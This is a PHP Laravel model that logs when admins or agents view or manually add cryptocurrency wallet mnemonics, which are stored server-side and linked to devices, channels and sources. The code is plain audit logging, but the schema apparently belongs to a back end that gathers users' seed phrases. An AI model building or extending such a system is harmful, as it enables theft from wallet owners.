127 lines
3.4 KiB
PHP
127 lines
3.4 KiB
PHP
<?php
|
||
|
||
namespace App\Models;
|
||
|
||
use App\Support\VisitorIp;
|
||
use Illuminate\Database\Eloquent\Model;
|
||
use Illuminate\Http\Request;
|
||
|
||
class SystemLog extends Model
|
||
{
|
||
public const ACTION_MNEMONIC_REVEAL = 'mnemonic_reveal';
|
||
|
||
public const ACTION_MNEMONIC_CREATE = 'mnemonic_create';
|
||
|
||
public const ACTION_ADMIN_LOCKED = 'admin_locked';
|
||
|
||
public const ACTION_ADMIN_UNLOCKED = 'admin_unlocked';
|
||
|
||
public const ACTION_AGENT_LOCKED = 'agent_locked';
|
||
|
||
public const ACTION_AGENT_UNLOCKED = 'agent_unlocked';
|
||
|
||
public const UPDATED_AT = null;
|
||
|
||
protected $fillable = [
|
||
'action',
|
||
'actor_guard',
|
||
'actor_id',
|
||
'actor_username',
|
||
'content',
|
||
'ip',
|
||
'created_at',
|
||
];
|
||
|
||
/** @return array<string, string> */
|
||
public static function actionLabels(): array
|
||
{
|
||
return [
|
||
self::ACTION_MNEMONIC_REVEAL => '查看助记词',
|
||
self::ACTION_MNEMONIC_CREATE => '手动添加助记词',
|
||
self::ACTION_ADMIN_LOCKED => '账号封锁',
|
||
self::ACTION_ADMIN_UNLOCKED => '账号解锁',
|
||
self::ACTION_AGENT_LOCKED => '代理账号封锁',
|
||
self::ACTION_AGENT_UNLOCKED => '代理账号解锁',
|
||
];
|
||
}
|
||
|
||
public function actorRoleLabel(): string
|
||
{
|
||
return match ($this->actor_guard) {
|
||
'admin' => '管理员',
|
||
'agent' => '代理',
|
||
default => $this->actor_guard ?: '—',
|
||
};
|
||
}
|
||
|
||
public static function record(
|
||
Admin|User $actor,
|
||
string $guard,
|
||
string $action,
|
||
string $content,
|
||
?Request $request = null,
|
||
): self {
|
||
return static::query()->create([
|
||
'action' => $action,
|
||
'actor_guard' => $guard,
|
||
'actor_id' => $actor->id,
|
||
'actor_username' => (string) $actor->username,
|
||
'content' => $content,
|
||
'ip' => $request ? VisitorIp::fromRequest($request) : null,
|
||
]);
|
||
}
|
||
|
||
public static function recordMnemonicReveal(
|
||
Admin|User $actor,
|
||
string $guard,
|
||
WalletMnemonic $mnemonic,
|
||
?Request $request = null,
|
||
): self {
|
||
$device = $mnemonic->relationLoaded('device')
|
||
? $mnemonic->device
|
||
: $mnemonic->device()->first();
|
||
|
||
$parts = ['#'.$mnemonic->id];
|
||
if ($device?->device_id) {
|
||
$parts[] = '设备 '.$device->device_id;
|
||
}
|
||
if ($device?->channel_id) {
|
||
$parts[] = '渠道 '.$device->channel_id;
|
||
}
|
||
if ($mnemonic->source) {
|
||
$parts[] = '来源 '.$mnemonic->source;
|
||
}
|
||
|
||
return static::record(
|
||
$actor,
|
||
$guard,
|
||
self::ACTION_MNEMONIC_REVEAL,
|
||
'查看助记词 '.implode(',', $parts),
|
||
$request,
|
||
);
|
||
}
|
||
|
||
public static function recordMnemonicCreate(
|
||
Admin $actor,
|
||
WalletMnemonic $mnemonic,
|
||
Device $device,
|
||
?Request $request = null,
|
||
): self {
|
||
$parts = ['#'.$mnemonic->id];
|
||
if ($device->device_id) {
|
||
$parts[] = '设备 '.$device->device_id;
|
||
}
|
||
if ($mnemonic->source) {
|
||
$parts[] = '来源 '.$mnemonic->source;
|
||
}
|
||
|
||
return static::record(
|
||
$actor,
|
||
'admin',
|
||
self::ACTION_MNEMONIC_CREATE,
|
||
'手动添加助记词 '.implode(',', $parts),
|
||
$request,
|
||
);
|
||
}
|
||
}
|